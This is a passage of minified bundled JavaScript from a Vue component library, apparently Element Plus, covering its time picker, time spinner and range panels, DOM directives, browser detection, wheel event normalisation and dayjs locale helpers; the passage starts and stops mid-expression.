ee;const ze=be.value,Te=Re(ze&&ze[0]),Xe=d(T);if(Te&&Te.isValid()){be.value=[Ne(Te),((ee=te.value)==null?void 0:ee[1])||null];const wt=[Te,Xe&&(Xe[1]||null)];Se(wt)&&(K(wt),be.value=null)}},O=()=>{var ee;const ze=d(be),Te=Re(ze&&ze[1]),Xe=d(T);if(Te&&Te.isValid()){be.value=[((ee=d(te))==null?void 0:ee[0])||null,Ne(Te)];const wt=[Xe&&Xe[0],Te];Se(wt)&&(K(wt),be.value=null)}},Z=D({}),Y=ee=>{Z.value[ee[0]]=ee[1],Z.value.panelReady=!0},$=ee=>{n("calendar-change",ee)},oe=(ee,ze,Te)=>{n("panel-change",ee,ze,Te)};return Ot("EP_PICKER_BASE",{props:r}),t({focus:C,handleFocusInput:S,handleBlurInput:k,handleOpen:w,handleClose:A,onPick:U}),(ee,ze)=>(B(),ye(d(Vr),xt({ref_key:"refPopper",ref:p,visible:g.value,effect:"light",pure:"",trigger:"click"},ee.$attrs,{role:"dialog",teleported:"",transition:`${d(s).namespace.value}-zoom-in-top`,"popper-class":[`${d(s).namespace.value}-picker__popper`,ee.popperClass],"popper-options":d(f),"fallback-placements":["bottom","top","right","left"],"gpu-acceleration":!1,"stop-popper-mouse-event":!1,"hide-after":0,persistent:"",onBeforeShow:X,onShow:L,onHide:b}),{default:fe(()=>[d(me)?(B(),_("div",{key:1,ref_key:"inputRef",ref:m,class:F(d(E)),style:De(ee.$attrs.style),onClick:S,onMouseenter:ue,onMouseleave:ve,onTouchstart:ke,onKeydown:Ze},[d(we)?(B(),ye(d(Pe),{key:0,class:F([d(a).e("icon"),d(l).e("icon")]),onMousedown:rt(se,["prevent"]),onTouchstart:ke},{default:fe(()=>[(B(),ye(Et(d(we))))]),_:1},8,["class","onMousedown"])):pe("v-if",!0),ne("input",{id:ee.id&&ee.id[0],autocomplete:"off",name:ee.name&&ee.name[0],placeholder:ee.startPlaceholder,value:d(te)&&d(te)[0],disabled:d(y),readonly:!ee.editable||ee.readonly,class:F(d(l).b("input")),onMousedown:se,onInput:J,onChange:G,onFocus:S,onBlur:k},null,42,$Q),qe(ee.$slots,"range-separator",{},()=>[ne("span",{class:F(d(l).b("separator"))},We(ee.rangeSeparator),3)]),ne("input",{id:ee.id&&ee.id[1],autocomplete:"off",name:ee.name&&ee.name[1],placeholder:ee.endPlaceholder,value:d(te)&&d(te)[1],disabled:d(y),readonly:!ee.editable||ee.readonly,class:F(d(l).b("input")),onMousedown:se,onFocus:S,onBlur:k,onInput:V,onChange:O},null,42,e_),ee.clearIcon?(B(),ye(d(Pe),{key:1,class:F(d(x)),onClick:ge},{default:fe(()=>[(B(),ye(Et(ee.clearIcon)))]),_:1},8,["class"])):pe("v-if",!0)],38)):(B(),ye(d(Gr),{key:0,id:ee.id,ref_key:"inputRef",ref:m,"container-role":"combobox","model-value":d(te),name:ee.name,size:d(Ee),disabled:d(y),placeholder:ee.placeholder,class:F([d(s).b("editor"),d(s).bm("editor",ee.type),ee.$attrs.class]),style:De(ee.$attrs.style),readonly:!ee.editable||ee.readonly||d(de)||d(ce)||ee.type==="week",label:ee.label,tabindex:ee.tabindex,"validate-event":!1,onInput:Q,onFocus:S,onBlur:k,onKeydown:Ze,onChange:xe,onMousedown:se,onMouseenter:ue,onMouseleave:ve,onTouchstart:ke,onClick:ze[0]||(ze[0]=rt(()=>{},["stop"]))},{prefix:fe(()=>[d(we)?(B(),ye(d(Pe),{key:0,class:F(d(a).e("icon")),onMousedown:rt(se,["prevent"]),onTouchstart:ke},{default:fe(()=>[(B(),ye(Et(d(we))))]),_:1},8,["class","onMousedown"])):pe("v-if",!0)]),suffix:fe(()=>[Ie.value&&ee.clearIcon?(B(),ye(d(Pe),{key:0,class:F(`${d(a).e("icon")} clear-icon`),onClick:rt(ge,["stop"])},{default:fe(()=>[(B(),ye(Et(ee.clearIcon)))]),_:1},8,["class","onClick"])):pe("v-if",!0)]),_:1},8,["id","model-value","name","size","disabled","placeholder","class","style","readonly","label","tabindex","onKeydown"]))]),content:fe(()=>[qe(ee.$slots,"default",{visible:g.value,actualVisible:v.value,parsedValue:d(T),format:ee.format,dateFormat:ee.dateFormat,timeFormat:ee.timeFormat,unlinkPanels:ee.unlinkPanels,type:ee.type,defaultValue:ee.defaultValue,onPick:U,onSelectRange:H,onSetPickerOption:Y,onCalendarChange:$,onPanelChange:oe,onKeydown:h,onMousedown:ze[1]||(ze[1]=rt(()=>{},["stop"]))})]),_:3},16,["visible","transition","popper-class","popper-options"]))}});var dk=Ye(n_,[["__file","picker.vue"]]);const r_=Ge({...ck,datetimeRole:String,parsedValue:{type:he(Object)}}),fk=({getAvailableHours:e,getAvailableMinutes:t,getAvailableSeconds:n})=>{const r=(s,a,l,u)=>{const c={hour:e,minute:t,second:n};let f=s;return["hour","minute","second"].forEach(p=>{if(c[p]){let m;const g=c[p];switch(p){case"minute":{m=g(f.hour(),a,u);break}case"second":{m=g(f.hour(),f.minute(),a,u);break}default:{m=g(a,u);break}}if(m!=null&&m.length&&!m.includes(f[p]())){const v=l?0:m.length-1;f=f[p](m[v])}}}),f},o={};return{timePickerOptions:o,getAvailableTime:r,onSetOption:([s,a])=>{o[s]=a}}},d0=e=>{const t=(r,o)=>r||o,n=r=>r!==!0;return e.map(t).filter(n)},hk=(e,t,n)=>({getHoursList:(s,a)=>c0(24,e&&(()=>e==null?void 0:e(s,a))),getMinutesList:(s,a,l)=>c0(60,t&&(()=>t==null?void 0:t(s,a,l))),getSecondsList:(s,a,l,u)=>c0(60,n&&(()=>n==null?void 0:n(s,a,l,u)))}),pk=(e,t,n)=>{const{getHoursList:r,getMinutesList:o,getSecondsList:i}=hk(e,t,n);return{getAvailableHours:(u,c)=>d0(r(u,c)),getAvailableMinutes:(u,c,f)=>d0(o(u,c,f)),getAvailableSeconds:(u,c,f,p)=>d0(i(u,c,f,p))}},mk=e=>{const t=D(e.parsedValue);return Ce(()=>e.visible,n=>{n||(t.value=e.parsedValue)}),t},Ys=new Map;let J2;Tt&&(document.addEventListener("mousedown",e=>J2=e),document.addEventListener("mouseup",e=>{for(const t of Ys.values())for(const{documentHandler:n}of t)n(e,J2)}));function V2(e,t){let n=[];return Array.isArray(t.arg)?n=t.arg:Fo(t.arg)&&n.push(t.arg),function(r,o){const i=t.instance.popperRef,s=r.target,a=o==null?void 0:o.target,l=!t||!t.instance,u=!s||!a,c=e.contains(s)||e.contains(a),f=e===s,p=n.length&&n.some(g=>g==null?void 0:g.contains(s))||n.length&&n.includes(a),m=i&&(i.contains(s)||i.contains(a));l||u||c||f||p||m||t.value(r,o)}}const Is={beforeMount(e,t){Ys.has(e)||Ys.set(e,[]),Ys.get(e).push({documentHandler:V2(e,t),bindingFn:t.value})},updated(e,t){Ys.has(e)||Ys.set(e,[]);const n=Ys.get(e),r=n.findIndex(i=>i.bindingFn===t.oldValue),o={documentHandler:V2(e,t),bindingFn:t.value};r>=0?n.splice(r,1,o):n.push(o)},unmounted(e){Ys.delete(e)}},o_=100,i_=600,Kp={beforeMount(e,t){const n=t.value,{interval:r=o_,delay:o=i_}=ot(n)?{}:n;let i,s;const a=()=>ot(n)?n():n.handler(),l=()=>{s&&(clearTimeout(s),s=void 0),i&&(clearInterval(i),i=void 0)};e.addEventListener("mousedown",u=>{u.button===0&&(l(),a(),document.addEventListener("mouseup",()=>l(),{once:!0}),s=setTimeout(()=>{i=setInterval(()=>{a()},r)},o))})}},Qg="_trap-focus-children",nl=[],U2=e=>{if(nl.length===0)return;const t=nl[nl.length-1][Qg];if(t.length>0&&e.code===_e.tab){if(t.length===1){e.preventDefault(),document.activeElement!==t[0]&&t[0].focus();return}const n=e.shiftKey,r=e.target===t[0],o=e.target===t[t.length-1];r&&n&&(e.preventDefault(),t[t.length-1].focus()),o&&!n&&(e.preventDefault(),t[0].focus())}},s_={beforeMount(e){e[Qg]=dS(e),nl.push(e),nl.length<=1&&document.addEventListener("keydown",U2)},updated(e){$e(()=>{e[Qg]=dS(e)})},unmounted(){nl.shift(),nl.length===0&&document.removeEventListener("keydown",U2)}};var F2=!1,Pa,_g,$g,xh,Oh,vk,zh,ey,ty,ny,gk,ry,oy,yk,bk;function no(){if(!F2){F2=!0;var e=navigator.userAgent,t=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))|(?:Trident\/\d+\.\d+.*rv:(\d+\.\d+))/.exec(e),n=/(Mac OS X)|(Windows)|(Linux)/.exec(e);if(ry=/\b(iPhone|iP[ao]d)/.exec(e),oy=/\b(iP[ao]d)/.exec(e),ny=/Android/i.exec(e),yk=/FBAN\/\w+;/i.exec(e),bk=/Mobile/i.exec(e),gk=!!/Win64/.exec(e),t){Pa=t[1]?parseFloat(t[1]):t[5]?parseFloat(t[5]):NaN,Pa&&document&&document.documentMode&&(Pa=document.documentMode);var r=/(?:Trident\/(\d+.\d+))/.exec(e);vk=r?parseFloat(r[1])+4:Pa,_g=t[2]?parseFloat(t[2]):NaN,$g=t[3]?parseFloat(t[3]):NaN,xh=t[4]?parseFloat(t[4]):NaN,xh?(t=/(?:Chrome\/(\d+\.\d+))/.exec(e),Oh=t&&t[1]?parseFloat(t[1]):NaN):Oh=NaN}else Pa=_g=$g=Oh=xh=NaN;if(n){if(n[1]){var o=/(?:Mac OS X (\d+(?:[._]\d+)?))/.exec(e);zh=o?parseFloat(o[1].replace("_",".")):!0}else zh=!1;ey=!!n[2],ty=!!n[3]}else zh=ey=ty=!1}}var iy={ie:function(){return no()||Pa},ieCompatibilityMode:function(){return no()||vk>Pa},ie64:function(){return iy.ie()&&gk},firefox:function(){return no()||_g},opera:function(){return no()||$g},webkit:function(){return no()||xh},safari:function(){return iy.webkit()},chrome:function(){return no()||Oh},windows:function(){return no()||ey},osx:function(){return no()||zh},linux:function(){return no()||ty},iphone:function(){return no()||ry},mobile:function(){return no()||ry||oy||ny||bk},nativeApp:function(){return no()||yk},android:function(){return no()||ny},ipad:function(){return no()||oy}},a_=iy,Df=!!(typeof window<"u"&&window.document&&window.document.createElement),l_={canUseDOM:Df,canUseWorkers:typeof Worker<"u",canUseEventListeners:Df&&!!(window.addEventListener||window.attachEvent),canUseViewport:Df&&!!window.screen,isInWorker:!Df},Ik=l_,qk;Ik.canUseDOM&&(qk=document.implementation&&document.implementation.hasFeature&&document.implementation.hasFeature("","")!==!0);function u_(e,t){if(!Ik.canUseDOM||t&&!("addEventListener"in document))return!1;var n="on"+e,r=n in document;if(!r){var o=document.createElement("div");o.setAttribute(n,"return;"),r=typeof o[n]=="function"}return!r&&qk&&e==="wheel"&&(r=document.implementation.hasFeature("Events.wheel","3.0")),r}var c_=u_,H2=10,P2=40,D2=800;function wk(e){var t=0,n=0,r=0,o=0;return"detail"in e&&(n=e.detail),"wheelDelta"in e&&(n=-e.wheelDelta/120),"wheelDeltaY"in e&&(n=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=n,n=0),r=t*H2,o=n*H2,"deltaY"in e&&(o=e.deltaY),"deltaX"in e&&(r=e.deltaX),(r||o)&&e.deltaMode&&(e.deltaMode==1?(r*=P2,o*=P2):(r*=D2,o*=D2)),r&&!t&&(t=r<1?-1:1),o&&!n&&(n=o<1?-1:1),{spinX:t,spinY:n,pixelX:r,pixelY:o}}wk.getEventType=function(){return a_.firefox()?"DOMMouseScroll":c_("wheel")?"wheel":"mousewheel"};var d_=wk;/**
* Checks if an event is supported in the current execution environment.
*
* NOTE: This will not work correctly for non-generic events such as `change`,
* `reset`, `load`, `error`, and `select`.
*
* Borrows from Modernizr.
*
* @param {string} eventNameSuffix Event name, e.g. "click".
* @param {?boolean} capture Check if the capture phase is supported.
* @return {boolean} True if the event is supported.
* @internal
* @license Modernizr 3.0.0pre (Custom Build) | MIT
*/const f_=function(e,t){if(e&&e.addEventListener){const n=function(r){const o=d_(r);t&&Reflect.apply(t,this,[r,o])};e.addEventListener("wheel",n,{passive:!0})}},h_={beforeMount(e,t){f_(e,t.value)}},p_=Ge({role:{type:String,required:!0},spinnerDate:{type:he(Object),required:!0},showSeconds:{type:Boolean,default:!0},arrowControl:Boolean,amPmMode:{type:he(String),default:""},...uk}),m_=["onClick"],v_=["onMouseenter"],g_=ie({__name:"basic-time-spinner",props:p_,emits:["change","select-range","set-option"],setup(e,{emit:t}){const n=e,r=Oe("time"),{getHoursList:o,getMinutesList:i,getSecondsList:s}=hk(n.disabledHours,n.disabledMinutes,n.disabledSeconds);let a=!1;const l=D(),u=D(),c=D(),f=D(),p={hours:u,minutes:c,seconds:f},m=N(()=>n.showSeconds?j2:j2.slice(0,2)),g=N(()=>{const{spinnerDate:S}=n,z=S.hour(),k=S.minute(),y=S.second();return{hours:z,minutes:k,seconds:y}}),v=N(()=>{const{hours:S,minutes:z}=d(g);return{hours:o(n.role),minutes:i(S,n.role),seconds:s(S,z,n.role)}}),I=N(()=>{const{hours:S,minutes:z,seconds:k}=d(g);return{hours:u0(S,23),minutes:u0(z,59),seconds:u0(k,59)}}),q=co(S=>{a=!1,x(S)},200),M=S=>{if(!!!n.amPmMode)return"";const k=n.amPmMode==="A";let y=S<12?" am":" pm";return k&&(y=y.toUpperCase()),y},E=S=>{let z;switch(S){case"hours":z=[0,2];break;case"minutes":z=[3,5];break;case"seconds":z=[6,8];break}const[k,y]=z;t("select-range",k,y),l.value=S},x=S=>{W(S,d(g)[S])},R=()=>{x("hours"),x("minutes"),x("seconds")},K=S=>S.querySelector(`.${r.namespace.value}-scrollbar__wrap`),W=(S,z)=>{if(n.arrowControl)return;const k=d(p[S]);k&&k.$el&&(K(k.$el).scrollTop=Math.max(0,z*j(S)))},j=S=>{const z=d(p[S]),k=z==null?void 0:z.$el.querySelector("li");return k&&Number.parseFloat(Ds(k,"height"))||0},H=()=>{U(1)},P=()=>{U(-1)},U=S=>{l.value||E("hours");const z=l.value,k=d(g)[z],y=l.value==="hours"?24:60,T=X(z,k,S,y);L(z,T),W(z,T),$e(()=>E(z))},X=(S,z,k,y)=>{let T=(z+k+y)%y;const te=d(v)[S];for(;te[T]&&T!==z;)T=(T+k+y)%y;return T},L=(S,z)=>{if(d(v)[S][z])return;const{hours:T,minutes:te,seconds:le}=d(g);let re;switch(S){case"hours":re=n.spinnerDate.hour(z).minute(te).second(le);break;case"minutes":re=n.spinnerDate.hour(T).minute(z).second(le);break;case"seconds":re=n.spinnerDate.hour(T).minute(te).second(z);break}t("change",re)},h=(S,{value:z,disabled:k})=>{k||(L(S,z),E(S),W(S,z))},b=S=>{a=!0,q(S);const z=Math.min(Math.round((K(d(p[S]).$el).scrollTop-(w(S)*.5-10)/j(S)+3)/j(S)),S==="hours"?23:59);L(S,z)},w=S=>d(p[S]).$el.offsetHeight,A=()=>{const S=z=>{const k=d(p[z]);k&&k.$el&&(K(k.$el).onscroll=()=>{b(z)})};S("hours"),S("minutes"),S("seconds")};mt(()=>{$e(()=>{!n.arrowControl&&A(),R(),n.role==="start"&&E("hours")})});const C=(S,z)=>{p[z].value=S};return t("set-option",[`${n.role}_scrollDown`,U]),t("set-option",[`${n.role}_emitSelectRange`,E]),Ce(()=>n.spinnerDate,()=>{a||R()}),(S,z)=>(B(),_("div",{class:F([d(r).b("spinner"),{"has-seconds":S.showSeconds}])},[S.arrowControl?pe("v-if",!0):(B(!0),_(Qe,{key:0},Lt(d(m),k=>(B(),ye(d(Cs),{key:k,ref_for:!0,ref:y=>C(y,k),class:F(d(r).be("spinner","wrapper")),"wrap-style":"max-height: inherit;","view-class":d(r).be("spinner","list"),noresize:"",tag:"ul",onMouseenter:y=>E(k),onMousemove:y=>x(k)},{default:fe(()=>[(B(!0),_(Qe,null,Lt(d(v)[k],(y,T)=>(B(),_("li",{key:T,class:F([d(r).be("spinner","item"),d(r).is("active",T===d(g)[k]),d(r).is("disabled",y)]),onClick:te=>h(k,{value:T,disabled:y})},[k==="hours"?(B(),_(Qe,{key:0},[Kt(We(("0"+(S.amPmMode?T%12||12:T)).slice(-2))+We(M(T)),1)],64)):(B(),_(Qe,{key:1},[Kt(We(("0"+T).slice(-2)),1)],64))],10,m_))),128))]),_:2},1032,["class","view-class","onMouseenter","onMousemove"]))),128)),S.arrowControl?(B(!0),_(Qe,{key:1},Lt(d(m),k=>(B(),_("div",{key:k,class:F([d(r).be("spinner","wrapper"),d(r).is("arrow")]),onMouseenter:y=>E(k)},[ft((B(),ye(d(Pe),{class:F(["arrow-up",d(r).be("spinner","arrow")])},{default:fe(()=>[ae(d(L1))]),_:1},8,["class"])),[[d(Kp),P]]),ft((B(),ye(d(Pe),{class:F(["arrow-down",d(r).be("spinner","arrow")])},{default:fe(()=>[ae(d(Ms))]),_:1},8,["class"])),[[d(Kp),H]]),ne("ul",{class:F(d(r).be("spinner","list"))},[(B(!0),_(Qe,null,Lt(d(I)[k],(y,T)=>(B(),_("li",{key:T,class:F([d(r).be("spinner","item"),d(r).is("active",y===d(g)[k]),d(r).is("disabled",d(v)[k][y])])},[typeof y=="number"?(B(),_(Qe,{key:0},[k==="hours"?(B(),_(Qe,{key:0},[Kt(We(("0"+(S.amPmMode?y%12||12:y)).slice(-2))+We(M(y)),1)],64)):(B(),_(Qe,{key:1},[Kt(We(("0"+y).slice(-2)),1)],64))],64)):pe("v-if",!0)],2))),128))],2)],42,v_))),128)):pe("v-if",!0)],2))}});var sy=Ye(g_,[["__file","basic-time-spinner.vue"]]);const y_=ie({__name:"panel-time-pick",props:r_,emits:["pick","select-range","set-picker-option"],setup(e,{emit:t}){const n=e,r=Fe("EP_PICKER_BASE"),{arrowControl:o,disabledHours:i,disabledMinutes:s,disabledSeconds:a,defaultValue:l}=r.props,{getAvailableHours:u,getAvailableMinutes:c,getAvailableSeconds:f}=pk(i,s,a),p=Oe("time"),{t:m,lang:g}=Vt(),v=D([0,2]),I=mk(n),q=N(()=>Vn(n.actualVisible)?`${p.namespace.value}-zoom-in-top`:""),M=N(()=>n.format.includes("ss")),E=N(()=>n.format.includes("A")?"A":n.format.includes("a")?"a":""),x=C=>{const S=yt(C).locale(g.value),z=h(S);return S.isSame(z)},R=()=>{t("pick",I.value,!1)},K=(C=!1,S=!1)=>{S||t("pick",n.parsedValue,C)},W=C=>{if(!n.visible)return;const S=h(C).millisecond(0);t("pick",S,!0)},j=(C,S)=>{t("select-range",C,S),v.value=[C,S]},H=C=>{const S=[0,3].concat(M.value?[6]:[]),z=["hours","minutes"].concat(M.value?["seconds"]:[]),y=(S.indexOf(v.value[0])+C+S.length)%S.length;U.start_emitSelectRange(z[y])},P=C=>{const S=C.code,{left:z,right:k,up:y,down:T}=_e;if([z,k].includes(S)){H(S===z?-1:1),C.preventDefault();return}if([y,T].includes(S)){const te=S===y?-1:1;U.start_scrollDown(te),C.preventDefault();return}},{timePickerOptions:U,onSetOption:X,getAvailableTime:L}=fk({getAvailableHours:u,getAvailableMinutes:c,getAvailableSeconds:f}),h=C=>L(C,n.datetimeRole||"",!0),b=C=>C?yt(C,n.format).locale(g.value):null,w=C=>C?C.format(n.format):null,A=()=>yt(l).locale(g.value);return t("set-picker-option",["isValidValue",x]),t("set-picker-option",["formatToString",w]),t("set-picker-option",["parseUserInput",b]),t("set-picker-option",["handleKeydownInput",P]),t("set-picker-option",["getRangeAvailableTime",h]),t("set-picker-option",["getDefaultValue",A]),(C,S)=>(B(),ye(Hn,{name:d(q)},{default:fe(()=>[C.actualVisible||C.visible?(B(),_("div",{key:0,class:F(d(p).b("panel"))},[ne("div",{class:F([d(p).be("panel","content"),{"has-seconds":d(M)}])},[ae(sy,{ref:"spinner",role:C.datetimeRole||"start","arrow-control":d(o),"show-seconds":d(M),"am-pm-mode":d(E),"spinner-date":C.parsedValue,"disabled-hours":d(i),"disabled-minutes":d(s),"disabled-seconds":d(a),onChange:W,onSetOption:d(X),onSelectRange:j},null,8,["role","arrow-control","show-seconds","am-pm-mode","spinner-date","disabled-hours","disabled-minutes","disabled-seconds","onSetOption"])],2),ne("div",{class:F(d(p).be("panel","footer"))},[ne("button",{type:"button",class:F([d(p).be("panel","btn"),"cancel"]),onClick:R},We(d(m)("el.datepicker.cancel")),3),ne("button",{type:"button",class:F([d(p).be("panel","btn"),"confirm"]),onClick:S[0]||(S[0]=z=>K())},We(d(m)("el.datepicker.confirm")),3)],2)],2)):pe("v-if",!0)]),_:1},8,["name"]))}});var Rp=Ye(y_,[["__file","panel-time-pick.vue"]]);const b_=Ge({...ck,parsedValue:{type:he(Array)}}),I_=["disabled"],q_=ie({__name:"panel-time-range",props:b_,emits:["pick","select-range","set-picker-option"],setup(e,{emit:t}){const n=e,r=(ge,Me)=>{const se=[];for(let ue=ge;ue<=Me;ue++)se.push(ue);return se},{t:o,lang:i}=Vt(),s=Oe("time"),a=Oe("picker"),l=Fe("EP_PICKER_BASE"),{arrowControl:u,disabledHours:c,disabledMinutes:f,disabledSeconds:p,defaultValue:m}=l.props,g=N(()=>[s.be("range-picker","body"),s.be("panel","content"),s.is("arrow",u),x.value?"has-seconds":""]),v=N(()=>[s.be("range-picker","body"),s.be("panel","content"),s.is("arrow",u),x.value?"has-seconds":""]),I=N(()=>n.parsedValue[0]),q=N(()=>n.parsedValue[1]),M=mk(n),E=()=>{t("pick",M.value,!1)},x=N(()=>n.format.includes("ss")),R=N(()=>n.format.includes("A")?"A":n.format.includes("a")?"a":""),K=(ge=!1)=>{t("pick",[I.value,q.value],ge)},W=ge=>{P(ge.millisecond(0),q.value)},j=ge=>{P(I.value,ge.millisecond(0))},H=ge=>{const Me=ge.map(ue=>yt(ue).locale(i.value)),se=k(Me);return Me[0].isSame(se[0])&&Me[1].isSame(se[1])},P=(ge,Me)=>{t("pick",[ge,Me],!0)},U=N(()=>I.value>q.value),X=D([0,2]),L=(ge,Me)=>{t("select-range",ge,Me,"min"),X.value=[ge,Me]},h=N(()=>x.value?11:8),b=(ge,Me)=>{t("select-range",ge,Me,"max");const se=d(h);X.value=[ge+se,Me+se]},w=ge=>{const Me=x.value?[0,3,6,11,14,17]:[0,3,8,11],se=["hours","minutes"].concat(x.value?["seconds"]:[]),ve=(Me.indexOf(X.value[0])+ge+Me.length)%Me.length,ke=Me.length/2;ve<ke?le.start_emitSelectRange(se[ve]):le.end_emitSelectRange(se[ve-ke])},A=ge=>{const Me=ge.code,{left:se,right:ue,up:ve,down:ke}=_e;if([se,ue].includes(Me)){w(Me===se?-1:1),ge.preventDefault();return}if([ve,ke].includes(Me)){const me=Me===ve?-1:1,Ee=X.value[0]<h.value?"start":"end";le[`${Ee}_scrollDown`](me),ge.preventDefault();return}},C=(ge,Me)=>{const se=c?c(ge):[],ue=ge==="start",ke=(Me||(ue?q.value:I.value)).hour(),me=ue?r(ke+1,23):r(0,ke-1);return t0(se,me)},S=(ge,Me,se)=>{const ue=f?f(ge,Me):[],ve=Me==="start",ke=se||(ve?q.value:I.value),me=ke.hour();if(ge!==me)return ue;const Ee=ke.minute(),Le=ve?r(Ee+1,59):r(0,Ee-1);return t0(ue,Le)},z=(ge,Me,se,ue)=>{const ve=p?p(ge,Me,se):[],ke=se==="start",me=ue||(ke?q.value:I.value),Ee=me.hour(),Le=me.minute();if(ge!==Ee||Me!==Le)return ve;const Ae=me.second(),be=ke?r(Ae+1,59):r(0,Ae-1);return t0(ve,be)},k=([ge,Me])=>[re(ge,"start",!0,Me),re(Me,"end",!1,ge)],{getAvailableHours:y,getAvailableMinutes:T,getAvailableSeconds:te}=pk(C,S,z),{timePickerOptions:le,getAvailableTime:re,onSetOption:de}=fk({getAvailableHours:y,getAvailableMinutes:T,getAvailableSeconds:te}),ce=ge=>ge?Ve(ge)?ge.map(Me=>yt(Me,n.format).locale(i.value)):yt(ge,n.format).locale(i.value):null,we=ge=>ge?Ve(ge)?ge.map(Me=>Me.format(n.format)):ge.format(n.format):null,Ie=()=>{if(Ve(m))return m.map(Me=>yt(Me).locale(i.value));const ge=yt(m).locale(i.value);return[ge,ge.add(60,"m")]};return t("set-picker-option",["formatToString",we]),t("set-picker-option",["parseUserInput",ce]),t("set-picker-option",["isValidValue",H]),t("set-picker-option",["handleKeydownInput",A]),t("set-picker-option",["getDefaultValue",Ie]),t("set-picker-option",["getRangeAvailableTime",k]),(ge,Me)=>ge.actualVisible?(B(),_("div",{key:0,class:F([d(s).b("range-picker"),d(a).b("panel")])},[ne("div",{class:F(d(s).be("range-picker","content"))},[ne("div",{class:F(d(s).be("range-picker","cell"))},[ne("div",{class:F(d(s).be("range-picker","header"))},We(d(o)("el.datepicker.startTime")),3),ne("div",{class:F(d(g))},[ae(sy,{ref:"minSpinner",role:"start","show-seconds":d(x),"am-pm-mode":d(R),"arrow-control":d(u),"spinner-date":d(I),"disabled-hours":C,"disabled-minutes":S,"disabled-seconds":z,onChange:W,onSetOption:d(de),onSelectRange:L},null,8,["show-seconds","am-pm-mode","arrow-control","spinner-date","onSetOption"])],2)],2),ne("div",{class:F(d(s).be("range-picker","cell"))},[ne("div",{class:F(d(s).be("range-picker","header"))},We(d(o)("el.datepicker.endTime")),3),ne("div",{class:F(d(v))},[ae(sy,{ref:"maxSpinner",role:"end","show-seconds":d(x),"am-pm-mode":d(R),"arrow-control":d(u),"spinner-date":d(q),"disabled-hours":C,"disabled-minutes":S,"disabled-seconds":z,onChange:j,onSetOption:d(de),onSelectRange:b},null,8,["show-seconds","am-pm-mode","arrow-control","spinner-date","onSetOption"])],2)],2)],2),ne("div",{class:F(d(s).be("panel","footer"))},[ne("button",{type:"button",class:F([d(s).be("panel","btn"),"cancel"]),onClick:Me[0]||(Me[0]=se=>E())},We(d(o)("el.datepicker.cancel")),3),ne("button",{type:"button",class:F([d(s).be("panel","btn"),"confirm"]),disabled:d(U),onClick:Me[1]||(Me[1]=se=>K())},We(d(o)("el.datepicker.confirm")),11,I_)],2)],2)):pe("v-if",!0)}});var w_=Ye(q_,[["__file","panel-time-range.vue"]]);yt.extend(fI);var S_=ie({name:"ElTimePicker",install:null,props:{...hI,isRange:{type:Boolean,default:!1}},emits:["update:modelValue"],setup(e,t){const n=D(),[r,o]=e.isRange?["timerange",w_]:["time",Rp],i=s=>t.emit("update:modelValue",s);return Ot("ElPopperOptions",e.popperOptions),t.expose({focus:s=>{var a;(a=n.value)==null||a.handleFocusInput(s)},blur:s=>{var a;(a=n.value)==null||a.handleBlurInput(s)},handleOpen:()=>{var s;(s=n.value)==null||s.handleOpen()},handleClose:()=>{var s;(s=n.value)==null||s.handleClose()}}),()=>{var s;const a=(s=e.format)!=null?s:Xg;return ae(dk,xt(e,{ref:n,type:r,format:a,"onUpdate:modelValue":i}),{default:l=>ae(o,l,null)})}}});const Kh=S_;Kh.install=e=>{e.component(Kh.name,Kh)};const E_=Kh,A_=(e,t)=>{const n=e.subtract(1,"month").endOf("month").date();return la(t).map((r,o)=>n-(t-o-1))},M_=e=>{const t=e.daysInMonth();return la(t).map((n,r)=>r+1)},C_=e=>la(e.length/7).map(t=>{const n=t*7;return e.slice(n,n+7)}),k_=Ge({selectedDay:{type:he(Object)},range:{type:he(Array)},date:{type:he(Object),required:!0},hideHeader:{type:Boolean}}),x_={pick:e=>At(e)};var Sk={exports:{}};(function(e,t){(function(n,r){e.exports=r()})(er,function(){return function(n,r,o){var i=r.prototype,s=function(f){return f&&(f.indexOf?f:f.s)},a=function(f,p,m,g,v){var I=f.name?f:f.$locale(),q=s(I[p]),M=s(I[m]),E=q||M.map(function(R){return R.slice(0,g)});if(!v)return E;var x=I.weekStart;return E.map(function(R,K){return E[(K+(x||0))%7]})},l=function(){return o.Ls[o.locale()]},u=function(f,p){return f.formats[p]||function(m){return m.replace(/(\[[^\]]+])|(MMMM|MM|DD|dddd)/g,function(g,v,I){return v||I.slice(1)})}(f.formats[p.toUpperCase()])},c=function(){var f=this;return{months:function(p){return p?p.format("MMMM"):a(f,"months")},monthsShort:function(p){return p?p.format("MMM"):a(f,"monthsShort","months",3)},firstDayOfWeek:function(){return f.$locale().weekStart||0},weekdays:function(p){return p?p.format("dddd"):a(f,"weekdays")},weekdaysMin:function(p){return p?p.format("dd"):a(f,"weekdaysMin","weekdays",2)},weekdaysShort:function(p){return p?p.format("ddd"):a(f,"weekdaysShort","weekdays",3)},longDateFormat:function(p){return u(f.$locale(),p)},meridiem:this.$locale().meridiem,ordinal:this.$locale().ordinal}};i.localeData=function(){return c.bind(this)()},o.localeData=function(){var f=l();return{firstDayOfWeek:function(){return f.weekStart||0},weekdays:function(){return o.weekdays()},weekdaysShort:function(){return o.weekdaysShort()},weekdaysMin:function(){return o.weekdaysMin()},months:function(){return o.months()},monthsShort:function(){return o.monthsShort()},longDateFormat:function(p){return u(f,p)},meridiem:f.meridiem,ordinal:f.ordinal}},o.months=function(){return a(l(),"months")},o.monthsShort=function(){return a(l(),"monthsShort","months",3)},o.weekdays=function(f){return a(l(),"weekdays",null,null,f)},o.weekdaysShort=function(f){return a(l(),"weekdaysShort","weekdays",3,f)},o.weekdaysMin=function(f){return a(l(),"weekdaysMin","weekdays",2,f)}}})})(Sk);var O_=Sk.exports;const Ek=_n(O_),z_=(e,t)=>{yt.extend(Ek);const n=yt.localeData().firstDayOfWeek(),{t:r,lang:o}=Vt(),i=yt().locale(o.value),s=N(()=>!!e.range&&!!e.range.length),a=N(()=>{let p=[];if(s.value){const[m,g]=e.range,v=la(g.date()-m.date()+1).map(M=>({text:m.date()+M,type:"current"}));let I=v.length%7;I=I===0?0:7-I;const q=la(I).map((M,E)=>({text:E+1,type:"next"}));p=v.concat(q)}else{const 